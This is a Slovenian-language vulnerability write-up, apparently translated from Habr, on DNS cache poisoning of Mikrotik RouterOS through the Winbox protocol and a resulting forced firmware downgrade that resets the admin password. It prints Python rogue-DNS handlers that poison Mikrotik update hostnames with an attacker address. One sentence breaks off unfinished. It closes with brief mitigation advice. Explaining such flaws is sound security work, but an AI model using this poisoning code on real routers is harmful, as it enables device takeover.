Možnost oddaljenega znižanja naprav, ki temeljijo na sistemu RouterOS (Mikrotik), ogroža več sto tisoč omrežnih naprav. Ranljivost je povezana z zastrupitvijo predpomnilnika DNS protokola Winbox in omogoča nalaganje zastarele (s privzeto ponastavitvijo gesla) ali spremenjene vdelane programske opreme v napravo.
Podrobnosti o ranljivosti
Terminal RouterOS podpira ukaz resolve za iskanje DNS.
To zahtevo obravnava binarni program, imenovan razreševalec. Resolver je ena izmed številnih binarnih datotek, ki se povezujejo s protokolom Winbox sistema RouterOS. Na visoki ravni se lahko "sporočila", poslana v vrata Winbox, usmerijo v različne binarne datoteke v RouterOS na podlagi sheme oštevilčevanja, ki temelji na nizu.
RouterOS ima privzeto onemogočeno funkcijo strežnika DNS.
Tudi ko je funkcija strežnika onemogočena, usmerjevalnik vzdržuje lasten predpomnilnik DNS.
Ko naredimo zahtevo z uporabo winbox_dns_request, na primer example.com, bo usmerjevalnik predpomnil rezultat.
Ker lahko določimo strežnik DNS, prek katerega naj gre zahteva, je vnašanje napačnih naslovov nepomembno. Izvedbo strežnika DNS lahko na primer konfigurirate iz
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Zdaj, če iščete example.com z Winboxom, lahko vidite, da je predpomnilnik DNS usmerjevalnika zastrupljen.
Seveda zastrupitev example.com ni zelo uporabna, saj je usmerjevalnik dejansko ne bo uporabljal. Vendar mora usmerjevalnik dostopati do upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com in download.mikrotik.com. In zaradi druge napake jih je mogoče zastrupiti vse naenkrat.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Usmerjevalnik zahteva eno dovoljenje in vrnemo pet. Usmerjevalnik vseh teh odgovorov ne predpomni pravilno.
Očitno je ta napad koristen tudi, če usmerjevalnik deluje kot strežnik DNS, saj omogoča napade na odjemalce usmerjevalnika.
Ta napad vam prav tako omogoča, da izkoristite resnejšo ranljivost: spremenite različico sistema RouterOS ali jo prenesete nazaj. Napadalec ponovno ustvari logiko strežnika za posodabljanje, vključno z dnevnikom sprememb, in prisili RouterOS, da zaznava zastarelo (ranljivo) različico kot trenutno. Nevarnost je v tem, da se pri »posodabljanju« različice skrbniško geslo ponastavi na privzeto vrednost - napadalec se lahko prijavi v sistem s praznim geslom!
Napad precej deluje, kljub dejstvu, da
zaščita
Če preprosto onemogočite Winbox, se lahko zaščitite pred temi napadi. Kljub udobju upravljanja prek Winboxa je bolje uporabiti protokol SSH.
Vir: www.habr.com